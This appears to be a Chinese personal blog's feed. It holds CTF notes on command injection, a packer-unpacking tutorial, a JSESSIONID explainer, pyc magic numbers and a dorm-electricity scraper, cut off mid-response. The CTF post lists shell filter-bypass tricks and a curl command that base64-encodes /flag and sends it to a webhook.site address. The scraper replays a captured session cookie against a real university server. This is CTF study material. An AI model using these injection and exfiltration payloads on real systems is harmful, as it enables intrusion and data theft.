title="Linux系统支持的管道符如下："></a>Linux系统支持的管道符如下：</h5><ol><li>“;”：执行完前面的语句再执行后面的语句。</li><li>“|”：显示后面语句的执行结果。</li><li>“||”：当前面的语句执行出错时，执行后面的语句。</li><li>“&amp;”：两条命令都执行，如果前面的语句为假则执行执行后面的语句，前面的语句可真可假。</li><li>“&amp;&amp;”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。</li></ol><h5 id="输出重定向"><a href="#输出重定向" class="headerlink" title="输出重定向"></a>输出重定向</h5><p><img src="https://gitee.com/fogpost/photo/raw/master/202409231119238.png" srcset="/img/loading.gif" lazyload></p><h5 id="过滤"><a href="#过滤" class="headerlink" title="过滤"></a>过滤</h5><p><a href="https://blog.csdn.net/Manuffer/article/details/120672448">参考</a></p><ul><li>cat <blockquote><p>cat\tac\more\less\head\tail\nl\tailf<br>单引号 c’’at<br>双引号 c””at<br>shell特殊变量 ca$@t</p></blockquote></li><li>空格<blockquote><p>&lt; 、&lt;&gt;、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 %0a(url编码)<br>$IFS在linux下表示分隔符，但是如果单纯的cat$IFS2，bash解释器会把整个IFS2当做变量名，所以导致输不出来结果，因此这里加一个{}就固定了变量名。<br>同理，在后面加个$可以起到截断的作用，使用$9是因为它是当前系统shell进程的第九个参数的持有者，它始终为空字符串</p></blockquote></li></ul><h4 id="无回显命令执行"><a href="#无回显命令执行" class="headerlink" title="无回显命令执行"></a>无回显命令执行</h4><h5 id="重定向到文件"><a href="#重定向到文件" class="headerlink" title="重定向到文件"></a>重定向到文件</h5><blockquote><p>cmd_here &gt; 1.txt<br>然后利用wegt命令进行文件下载</p></blockquote><h5 id="curl外带"><a href="#curl外带" class="headerlink" title="curl外带"></a>curl外带</h5><p>可以利用webhook.site建立网络端口监听，<br>然后执行<br>cmd&#x3D;curl <a href="https://webhook.site/2c5bcc35-bc12-4910-bae5-e51fbadac519/%60cat">https://webhook.site/2c5bcc35-bc12-4910-bae5-e51fbadac519/`cat</a> &#x2F;flag | base64&#96;<br>来实现base64编码获取</p><h5 id="反弹shell"><a href="#反弹shell" class="headerlink" title="反弹shell"></a>反弹shell</h5>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>脱壳教程第一课</title>
    <link href="/2024/09/18/%E8%84%B1%E5%A3%B3%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%80%E8%AF%BE/"/>
    <url>/2024/09/18/%E8%84%B1%E5%A3%B3%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%80%E8%AF%BE/</url>
    
    <content type="html"><![CDATA[<h3 id="upx"><a href="#upx" class="headerlink" title="upx"></a>upx</h3><p>首先查壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181712588.png" srcset="/img/loading.gif" lazyload></p><h4 id="手脱"><a href="#手脱" class="headerlink" title="手脱"></a>手脱</h4><p>了解是upx直接od打开，直接往下面翻，或者用esp法直接找到popad跳转<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181714591.png" srcset="/img/loading.gif" lazyload><br>看到先call再jmp确认为OEP入口点<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181715614.png" srcset="/img/loading.gif" lazyload><br>直接od脱壳可运行直接不用管了</p><h3 id="NsPack"><a href="#NsPack" class="headerlink" title="NsPack"></a>NsPack</h3><h4 id="ESP"><a href="#ESP" class="headerlink" title="ESP"></a>ESP</h4><p>首先查壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181716923.png" srcset="/img/loading.gif" lazyload><br>发现为北斗Nspack可以同上用手脱，或者采用ESP壳，在pushfd之后发现ESP改变，我们选择数据窗口中跟随，然后在数据窗口中选择断点，硬件访问，Word然后直接f9到达出栈位置<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181717350.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409181717510.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409181719918.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409181720629.png" srcset="/img/loading.gif" lazyload><br>然后继续执行直到进入OEP，发现乱码，crtl+a进行分析，发现方法OEP特征<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181721792.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409181722929.png" srcset="/img/loading.gif" lazyload><br>脱壳完毕可执行</p><h3 id="FSG"><a href="#FSG" class="headerlink" title="FSG"></a>FSG</h3><h4 id="FSG特殊的IAT修复以及查找"><a href="#FSG特殊的IAT修复以及查找" class="headerlink" title="FSG特殊的IAT修复以及查找"></a>FSG特殊的IAT修复以及查找</h4><p>手动在过程中我们发现这样一个跳转<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181724268.png" srcset="/img/loading.gif" lazyload>在下面的XOR处我们便会跳出函数，直接跑飞函数，但是在这之前有一个大循环，导致我们在一个判断函数之间跳转<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181725004.png" srcset="/img/loading.gif" lazyload><br>我们直接f4执行到此处，进入，发现OPE<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181726582.png" srcset="/img/loading.gif" lazyload><br>OPE在多次查阅之后发现<br>脱壳后发现问题<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181727890.png" srcset="/img/loading.gif" lazyload><br>在当前的exe程序中无法定位IAT入口点，我们用Import REC修复，在OEP入口点的call函数中我们f7进入查看<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181729836.png" srcset="/img/loading.gif" lazyload><br>发现这些红字调用，我们了解到这是对dll中一些函数的调用，右键一个调用call函数，在数据窗口中打开，选择内存地址，并在数据窗户口中选择长型地址来帮助我们查看<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181731502.png" srcset="/img/loading.gif" lazyload><br>找到这个数据窗口的上下界，计算差值，，按图中填入数值，了解我们的基地址是400000，大小写差值也可以写1000，之后选择无效函数删除，直接导入<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181732896.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409181733944.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202409181735661.png" srcset="/img/loading.gif" lazyload></p><p>修理完成</p><h3 id="PECompact"><a href="#PECompact" class="headerlink" title="PECompact"></a>PECompact</h3><p>查壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181737511.png" srcset="/img/loading.gif" lazyload><br>手脱技巧，在打开这个文件时，发现有大量的无效函数，我们选择分析之后直接执行，在PEC壳中有一个重要函数，ZxContinue，在发现这个函数时我们便可以进入，快速发现OEP<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181739058.png" srcset="/img/loading.gif" lazyload><br>也可以看我博客中的另外一个关于PECompact的壳</p><h3 id="ASProtect"><a href="#ASProtect" class="headerlink" title="ASProtect"></a>ASProtect</h3><p>查壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202409181759437.png" srcset="/img/loading.gif" lazyload><br>直接手托一路动就行，注意先分析一下，另外的方法看我的另一篇博客</p><h3 id="Upack"><a href="#Upack" class="headerlink" title="Upack"></a>Upack</h3><p>直接ESP即可脱壳</p><h3 id="yoda"><a href="#yoda" class="headerlink" title="yoda"></a>yoda</h3><p>这个也可以ESP</p>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>jsessionid是什么？</title>
    <link href="/2024/09/16/jsessionid%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/"/>
    <url>/2024/09/16/jsessionid%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F/</url>
    
    <content type="html"><![CDATA[<p>之前不是写了一个爬数据的脚本么，今天发现一个问题，就是jsessonid在刷新之后变了，所以我现在想要找到一个不会变的方法，不过这个修改和学习时间应该会变得比较久，感觉挺高阶的</p><p>看了一些文章将的都是tomcat的的例子，先讲讲什么是session，浏览器第一次访问服务器会生成一个session保存相关信息，会有一个sessionid来对应这个session，<strong>那么我们就想可不可以利用这个id直接去查session的值</strong>  </p><p>tomcat的StandardManager类将session存储在内存中也可以持久化到文件中，sessionid是一个指代session在服务器端位置的值，存储在客户端的cookie上，不会将session保存在本地,session也只能通过invalidate或超时来销毁</p><blockquote><p>那么Session在何时创建呢？当然还是在服务器端程序运行的过程中创建的，不同语言实现的应用程序有不同创建Session的方法，而在Java中是通过调用HttpServletRequest的getSession方法（使用true作为参数）创建的。在创建了Session的同时，服务器会为该Session生成唯一的Session id，而这个Session id在随后的请求中会被用来重新获得已经创建的Session；在Session被创建之后，就可以调用Session相关的方法往Session中增加内容了，而这些内容只会保存在服务器中，发到客户端的只有Session id；当客户端再次发送请求的时候，会将这个Session id带上，服务器接受到请求之后就会依据Session id找到相应的Session，从而再次使用之。</p></blockquote><p>创建：sessionid第一次产生是在直到某server端程序调用 HttpServletRequest.getSession(true)这样的语句时才被创建。</p><p>删除：超时；程序调用HttpSession.invalidate()；程序关闭；</p><p>session存放在哪里：服务器端的内存中。不过session可以通过特殊的方式做持久化管理（memcache，redis）。</p><p>session的id是从哪里来的，sessionID是如何使用的：当客户端第一次请求session对象时候，服务器会为客户端创建一个session，并将通过特殊算法算出一个session的ID，用来标识该session对象</p><p>session会因为浏览器的关闭而删除吗？<br>不会，session只会通过上面提到的方式去关闭。</p><p>下面是tomcat中session的创建：</p><blockquote><p>ManagerBase是所有session管理工具类的基类，它是一个抽象类，所有具体实现session管理功能的类都要继承这个类，该类有一个受保护的方法，该方法就是创建sessionId值的方法：<br>（ tomcat的session的id值生成的机制是一个随机数加时间加上jvm的id值，jvm的id值会根据服务器的硬件信息计算得来，因此不同jvm的id值都是唯一的），<br>StandardManager类是tomcat容器里默认的session管理实现类，<br>它会将session的信息存储到web容器所在服务器的内存里。<br>PersistentManagerBase也是继承ManagerBase类，它是所有持久化存储session信息的基类，PersistentManager继承了PersistentManagerBase，但是这个类只是多了一个静态变量和一个getName方法，目前看来意义不大， 对于持久化存储session，tomcat还提供了StoreBase的抽象类，它是所有持久化存储session的基类，另外tomcat还给出了文件存储FileStore和数据存储JDBCStore两个实现。</p></blockquote><p>所以会出现以下三种情况：</p><blockquote><p>1、server没有关闭，并在session对象销毁时间内，当客户端再次来请求serve端的servlet或jsp时，将会把将第一次请求该serve时生成的sessionid带到请求头上向server端发送，server端收到sessionid后根据此sessionid会去搜索server对应的session对象并直接返回这个session对象，此时不会重新创建session对象。<br>2、当server关闭（之前产生的session对象也就消亡了），或者session对象过了销毁时间，浏览器窗口没有关闭，并在本窗口继续请求server端的servlet或者jsp时，此时同样会将sessionid 发送到 服务端，server拿着id去找对应的session对象；但是此时session对象已经不存在了。所以会重新生成一个session和对应的sessionid ，将这个新的id以响应报文的形式发到浏览器的内核中，重新更新cookie。<br>3、当server没有关闭，并且session对象在其销毁时间内，当请求一个jsp页面返回客户端后，关闭此浏览器窗口，此时其内存中的sessionid也就随之销毁。在重新去请求server端的servlet或者jsp时，会重新生成一个sessionid给客户端浏览器，并且存在浏览器内存中。</p></blockquote><p>我们使用的其实就是将已经存放的cookie来重放获取对应的数据，不过在刷新过后应该会调用HttpSession.invalidate()，并在下次请求时创建一个新的session来进行访问，所以要是想改的的话要么就是对应的服务器端有session持续化保存机制，不然我每隔两天就要手动更新session难受哦，&#x2F;(ㄒoㄒ)&#x2F;~~</p><p><strong>cookie的保存方式有两种：</strong><br>如果没有设置cookie的失效时间，这个cookie就存在与浏览器进程；</p><p>设置了cookie的失效时间，那么这个cookie就存在于硬盘。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">//Cookie的一些基本设置</span><br>        <span class="hljs-type">Cookie</span> <span class="hljs-variable">cookie</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Cookie</span>(<span class="hljs-string">&quot;Admin-Token&quot;</span>, token);<br><br>        Cookie[] cookie2 = request.getCookies();<br>        <span class="hljs-comment">//request.getContextPath()   mdrwebrest</span><br>        cookie.setPath(<span class="hljs-string">&quot;/&quot;</span>);        <span class="hljs-comment">//设置cookies有效路径</span><br>        <span class="hljs-comment">//设置cookie有效时间  正数：存到硬盘，负数存到浏览器，0立刻销毁</span><br>        cookie.setMaxAge();      <br>        cookie.setDomain(loginToMDRConfig.getIP()); <span class="hljs-comment">//跨域</span><br>        response.addCookie(cookie);<br></code></pre></td></tr></table></figure><p>下面是实现机制图<br><img src="https://gitee.com/fogpost/photo/raw/master/202409161116311.png" srcset="/img/loading.gif" lazyload><br>文章给出的获取sessionid方法是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs java">HttpSession session=request.getSession(); <span class="hljs-comment">//获取session</span><br>String sessionid=session.getId();  <span class="hljs-comment">//获取sessionid</span><br>Cookie cookie=<span class="hljs-keyword">new</span> <span class="hljs-title class_">Cookie</span>(<span class="hljs-string">&quot;JSESSIONID&quot;</span>,sessionid); <span class="hljs-comment">//手动设置一个硬盘存储COOKIE，这个cooike时存在硬盘的，不是存在浏览器线程的</span><br>cookie.setMaxAge(<span class="hljs-number">30</span>*<span class="hljs-number">60</span>);<br>response.addCookie(cookie); <span class="hljs-comment">//将COOKIE设置到响应上</span><br></code></pre></td></tr></table></figure><p>其实我们可以假借服务器自己的手，通过burp抓包来实现获取对应的sessionid，进一步获取对应报文(这不就是我之前干过的么，现在学了一遍原理，👿我了)</p><p><a href="https://www.cnblogs.com/Timeouting-Study/p/16082575.html">jsessionid</a></p>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>pymagic</title>
    <link href="/2024/09/15/pythonticke/"/>
    <url>/2024/09/15/pythonticke/</url>
    
    <content type="html"><![CDATA[<figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><code class="hljs x86asm">enum PycMagic &#123;<br>    MAGIC_1_0 = <span class="hljs-number">0x00999902</span>,<br>    MAGIC_1_1 = <span class="hljs-number">0x00999903</span>, /* Also covers <span class="hljs-number">1.2</span> */<br>    MAGIC_1_3 = <span class="hljs-number">0x0A0D2E89</span>,<br>    MAGIC_1_4 = <span class="hljs-number">0x0A0D1704</span>,<br>    MAGIC_1_5 = <span class="hljs-number">0x0A0D4E99</span>,<br>    MAGIC_1_6 = <span class="hljs-number">0x0A0DC4FC</span>,<br> <br>    MAGIC_2_0 = <span class="hljs-number">0x0A0DC687</span>,<br>    MAGIC_2_1 = <span class="hljs-number">0x0A0DEB2A</span>,<br>    MAGIC_2_2 = <span class="hljs-number">0x0A0DED2D</span>,<br>    MAGIC_2_3 = <span class="hljs-number">0x0A0DF23B</span>,<br>    MAGIC_2_4 = <span class="hljs-number">0x0A0DF26D</span>,<br>    MAGIC_2_5 = <span class="hljs-number">0x0A0DF2B3</span>,<br>    MAGIC_2_6 = <span class="hljs-number">0x0A0DF2D1</span>,<br>    MAGIC_2_7 = <span class="hljs-number">0x0A0DF303</span>,<br> <br>    MAGIC_3_0 = <span class="hljs-number">0x0A0D0C3A</span>,<br>    MAGIC_3_1 = <span class="hljs-number">0x0A0D0C4E</span>,<br>    MAGIC_3_2 = <span class="hljs-number">0x0A0D0C6C</span>,<br>    MAGIC_3_3 = <span class="hljs-number">0x0A0D0C9E</span>,<br>    MAGIC_3_4 = <span class="hljs-number">0x0A0D0CEE</span>,<br>    MAGIC_3_5 = <span class="hljs-number">0x0A0D0D16</span>,<br>    MAGIC_3_5_3 = <span class="hljs-number">0x0A0D0D17</span>,<br>    MAGIC_3_6 = <span class="hljs-number">0x0A0D0D33</span>,<br>    MAGIC_3_7 = <span class="hljs-number">0x0A0D0D42</span>,<br>    MAGIC_3_8 = <span class="hljs-number">0x0A0D0D55</span>,<br>    MAGIC_3_9 = <span class="hljs-number">0x0A0D0D61</span>,<br>    MAGIC_3_10 = <span class="hljs-number">0x0A0D0D6F</span>,<br>    MAGIC_3_11 = <span class="hljs-number">0x0A0D0DA7</span>,<br>    MAGIC_3_12 = <span class="hljs-number">0x0A0D0DCB</span>,<br> <br>    INVALID = <span class="hljs-number">0</span>,<br>&#125;<span class="hljs-comment">;</span><br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>工具</category>
      
    </categories>
    
    
    <tags>
      
      <tag>python</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>markdown语法</title>
    <link href="/2024/09/14/markdown%E8%AF%AD%E6%B3%95/"/>
    <url>/2024/09/14/markdown%E8%AF%AD%E6%B3%95/</url>
    
    <content type="html"><![CDATA[<pre><code class="hljs">languagekey1C1cActionScriptactionscriptApacheapacheAppleScriptapplescriptAsciiDocasciidocAspectJasciidocAutoHotkeyautohotkeyAVR AssembleravrasmAxaptaaxaptaBashbashBrainFuckbrainfuckCap’n ProtocapnprotoClojure REPLclojureClojureclojureCMakecmakeCoffeeScriptcoffeescriptC++cppC#csCSScssDdDartdDelphidelphiDiffdiffDjangodjangoDOS.batdosDustdustElixirelixirERB(Embedded Ruby)erbErlang REPLerlang-replErlangerlangFIXfixF#fsharpG-code(ISO 6983)gcodeGherkingherkinGLSLglslGogoGradlegradleGroovygroovyHamlhamlHandlebarshandlebarsHaskellhaskellHaxehaxeHTMLhtmlHTTPhttpIni fileiniJavajavaJavaScriptjavascriptJSONjsonLassolassoLesslessLisplispLiveCodelivecodeserverLiveScriptlivescriptLualuaMakefilemakefileMarkdownmarkdownMathematicamathematicaMatlabmatlabMEL (Maya Embedded Language)melMercurymercuryMizarmizarMonkeymonkeyNginxnginxNimrodnimrodNixnixNSISnsisObjective CobjectivecOCamlocamlOxygeneoxygeneParser 3parser3PerlperlPHPphpPowerShellpowershellProcessingprocessingPython’s profiler outputprofileProtocol BuffersprotobufPuppetpuppetPythonpythonQqRrRenderMan RIBribRoboconfroboconfRenderMan RSLrslRubyrubyOracle Rules LanguageruleslanguageRustrustScalascalaSchemeschemeScilabscilabSCSSscssSmalismaliSmallTalksmalltalkSMLsmlSQLsqlStatastataSTEP Part21(ISO 10303-21)step21StylusstylusSwiftswiftTcltclTextextexttext/plainThriftthriftTwigtwigTypeScripttypescriptValavalaVB.NETvbnetVBScript in HTMLvbscript-htmlVBScriptvbscriptVerilogverilogVHDLvhdlVim ScriptvimIntel x86 Assemblyx86asmXLxlXMLxmlYAMLyml</code></pre>]]></content>
    
    
    <categories>
      
      <category>工具</category>
      
    </categories>
    
    
    <tags>
      
      <tag>tool</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>爬虫初识</title>
    <link href="/2024/09/14/%E7%88%AC%E8%99%AB%E5%88%9D%E8%AF%86/"/>
    <url>/2024/09/14/%E7%88%AC%E8%99%AB%E5%88%9D%E8%AF%86/</url>
    
    <content type="html"><![CDATA[<p>由于寝室老是没电导致我的电脑处于工作状态开机，气死我了，我便想用python来了解目前的电费是多少并给我发邮件，首先我们要了解一下基本的python发送响应包的方法</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<br><br><span class="hljs-comment"># 发送 GET 请求</span><br>url = <span class="hljs-string">&#x27;https://example.com&#x27;</span>  <span class="hljs-comment"># 将此替换为你要访问的网址</span><br>response = requests.get(url)<br><br><span class="hljs-comment"># 检查请求是否成功</span><br><span class="hljs-keyword">if</span> response.status_code == <span class="hljs-number">200</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;请求成功！&quot;</span>)<br>    <span class="hljs-comment"># 获取网页内容</span><br>    content = response.text  <span class="hljs-comment"># 返回HTML内容</span><br>    <span class="hljs-built_in">print</span>(content)<br><span class="hljs-keyword">else</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;请求失败，状态码：<span class="hljs-subst">&#123;response.status_code&#125;</span>&quot;</span>)<br>    <br><span class="hljs-keyword">import</span> requests<br><br><span class="hljs-comment"># 发送 POST 请求</span><br>url = <span class="hljs-string">&#x27;https://example.com/api&#x27;</span>  <span class="hljs-comment"># 将此替换为实际的API URL</span><br>data = &#123;<span class="hljs-string">&#x27;username&#x27;</span>: <span class="hljs-string">&#x27;your_username&#x27;</span>, <span class="hljs-string">&#x27;password&#x27;</span>: <span class="hljs-string">&#x27;your_password&#x27;</span>&#125;  <span class="hljs-comment"># 传递的数据</span><br>response = requests.post(url, data=data)<br><br><span class="hljs-comment"># 检查请求是否成功</span><br><span class="hljs-keyword">if</span> response.status_code == <span class="hljs-number">200</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;POST 请求成功！&quot;</span>)<br>    <span class="hljs-comment"># 获取响应内容</span><br>    <span class="hljs-built_in">print</span>(response.text)<br><span class="hljs-keyword">else</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;请求失败，状态码：<span class="hljs-subst">&#123;response.status_code&#125;</span>&quot;</span>)<br></code></pre></td></tr></table></figure><p>在了解之后我们用bp抓包，发现一个问题，我们不再微信程序时网页会有一个自校验的情况，让我们在微信中打开，这无疑是我们不希望的不过我们可以修改我们的请求头部伪造我们在微信中的情景</p><p>这是在User agent 修改，这样服务端便会认为我们在微信中了</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html">Mozilla/5.0 (Linux; Android 5.0; SM-N9100 Build/LRX21V) &gt; AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 &gt; Chrome/37.0.0.0 Mobile Safari/537.36 &gt; MicroMessenger/6.0.2.56_r958800.520 NetType/WIFI<br></code></pre></td></tr></table></figure><p>下面是我们的请求报文</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs html">POST /app/app/api/user/searchBindHouseListForMoney HTTP/1.1<br>Host: xdxfdf.xtu.edu.cn<br>Content-Length: 58<br>Accept: application/json, text/javascript, */*; q=0.01<br>X-Requested-With: XMLHttpRequest<br>Accept-Language: zh-CN<br>User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-N9100 Build/LRX21V) &gt; AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 &gt; Chrome/37.0.0.0 Mobile Safari/537.36 &gt; MicroMessenger/6.0.2.56_r958800.520 NetType/WIFI<br>Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>Origin: http://xdxfdf.xtu.edu.cn<br>Referer: http://xdxfdf.xtu.edu.cn/app/api/main/wxpay/payStepOne?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br>Accept-Encoding: gzip, deflate, br<br>Cookie: JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXX<br>Connection: keep-alive<br><br>wxId=XXXXXXXXXXXXXXXXXXX&amp;appId=XXXXXXXXXXXXXXXXXXXXXXX<br></code></pre></td></tr></table></figure><p>在python中的写法便是</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs py"><span class="hljs-keyword">import</span> requests<br><span class="hljs-keyword">import</span> smtplib<br><span class="hljs-comment"># 请求的 URL</span><br>url = <span class="hljs-string">&quot;https://xdxfdf.xtu.edu.cn/app/app/api/user/searchBindHouseListForMoney&quot;</span><br>headers = &#123;<br>        <span class="hljs-string">&quot;Cookie&quot;</span>: <span class="hljs-string">&quot;JSESSIONID=XXXXXXXXXXXXXXXXX&quot;</span>,<br>        &#125;<br>data = &#123;<br>    <span class="hljs-string">&quot;wxId&quot;</span>: <span class="hljs-string">&quot;XXXXXXXXXXXXX&quot;</span>,<br>    <span class="hljs-string">&quot;appId&quot;</span>: <span class="hljs-string">&quot;XXXXXXXXXXXXX&quot;</span>,<br>&#125;<br>response = requests.post(url, headers=headers,data=data)<br><span class="hljs-comment"># 检查响应状态码</span><br><span class="hljs-keyword">if</span> response.status_code == <span class="hljs-number">200</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;请求成功！&quot;</span>)<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;响应内容:&quot;</span>, response.json())  <span class="hljs-comment"># 假设返回的内容是 JSON 格式</span><br><span class="hljs-keyword">else</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;请求失败，状态码：<span class="hljs-subst">&#123;response.status_code&#125;</span>&quot;</span>)<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;响应内容:&quot;</span>, response.text)<br></code></pre></td></tr></table></figure><p>可见重要的其实是cookie<br>我们的响应内容是(json转义后的)</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>&#x27;data&#x27;<span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">&#123;</span>&#x27;customer_no&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">00116607</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;house_id&#x27;<span class="hljs-punctuation">:</span> &#x27;xxxxxxxxxxxxxx&#x27;<span class="hljs-punctuation">,</span> &#x27;meter&#x27;<span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">&#123;</span>&#x27;meter_status&#x27;<span class="hljs-punctuation">:</span> None<span class="hljs-punctuation">,</span> &#x27;customer_no&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">00116607</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;sysId&#x27;<span class="hljs-punctuation">:</span> None<span class="hljs-punctuation">,</span> &#x27;wallet_balance&#x27;<span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span> &#x27;house_addr&#x27;<span class="hljs-punctuation">:</span> &#x27;XXXX&#x27;<span class="hljs-punctuation">,</span> &#x27;meter_balance&#x27;<span class="hljs-punctuation">:</span> <span class="hljs-number">64.18</span><span class="hljs-punctuation">,</span> &#x27;meter_type&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">1</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;meter_balance_time&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">20240914225456</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;buy_time&#x27;<span class="hljs-punctuation">:</span> None<span class="hljs-punctuation">,</span> &#x27;free_balance&#x27;<span class="hljs-punctuation">:</span> None<span class="hljs-punctuation">,</span> &#x27;house_no&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">607</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;pay_type&#x27;<span class="hljs-punctuation">:</span> &#x27;<span class="hljs-number">1</span>&#x27;<span class="hljs-punctuation">,</span> &#x27;customer_name&#x27;<span class="hljs-punctuation">:</span> &#x27;xxxxxxx&#x27;<span class="hljs-punctuation">,</span> 